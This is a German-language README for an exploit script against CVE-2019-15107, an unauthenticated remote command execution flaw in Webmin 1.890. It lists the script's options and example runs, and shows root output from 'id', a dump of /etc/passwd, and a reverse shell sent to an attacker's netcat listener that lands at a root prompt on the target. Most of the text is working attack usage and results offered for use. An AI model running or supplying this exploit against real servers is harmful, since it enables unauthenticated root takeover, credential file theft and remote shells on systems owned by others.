
CVE-2019-15107 Webmin RCE ohne Authentifizierung
Dieses Skript wurde entwickelt, um eine Schwachstelle in Webmin 1.890 auszunutzen, die eine nicht authentifizierte Befehlsausführung ermöglicht. Es erlaubt Ihnen, beliebige Befehle auf einem Ziel-Webmin-Server auszuführen oder eine Reverse-Shell zu erhalten.
Das Exploit akzeptiert 5 Argumente:
$ python3 test.py -h
usage: test.py [-h] -i IP Address [-p Port number] [-c Command] [--shell] [-x]
Exploit unauthenticated command execution in Webmin 1.890.
options:
-h, --help show this help message and exit
required arguments:
-i IP Address, --ip IP Address
Target ip address
optional arguments:
-p Port number, --port Port number
Webmin port(default=10000)
-c Command, --command Command
OS Command to execute (Default=id)
--shell Get a reverse shell
-x, --proxy Sends requests through Burp Suite proxy at 127.0.0.1:8080.
Example:
python exploit.py -i 192.168.1.100
python exploit.py -i 192.168.1.100 -p 10000 -c whoami
python exploit.py -i 192.168.1.100 -x -c "ls -la"
python exploit.py -i 192.168.1.100 --shell
Die einzige erforderliche Option ist -i, die die IP-Adresse des Ziels angibt.
Wenn das Exploit nur mit -i ausgeführt wird, wird der Befehl id auf einem Ziel ausgeführt, das auf Port 10000 läuft.
$ python3 exploit.py -i 10.200.105.200
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
Sie können den auszuführenden Befehl mit den Optionen -c oder --command angeben:
$ python3 exploit.py -i 10.200.105.200 -c 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
[...]
Sie können auch eine Reverse-Shell erhalten, indem Sie die Option --shell verwenden.
Sie werden aufgefordert, Ihre IP-Adresse und den Listening-Port einzugeben:
$ python3 exploit.py -i 10.200.105.200 --shell
Enter your ip address: 10.50.106.33
Enter your listening port: 9001
[+] Sending a shell to 10.50.106.33:9001...
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.50.106.33] from (UNKNOWN) [10.200.105.200] 41446
[root@prod-serv ]#
Durch Hinzufügen der Option -x oder --proxy können Sie die Anfrage über den Burp-Proxy unter 127.0.0.1:8080 senden.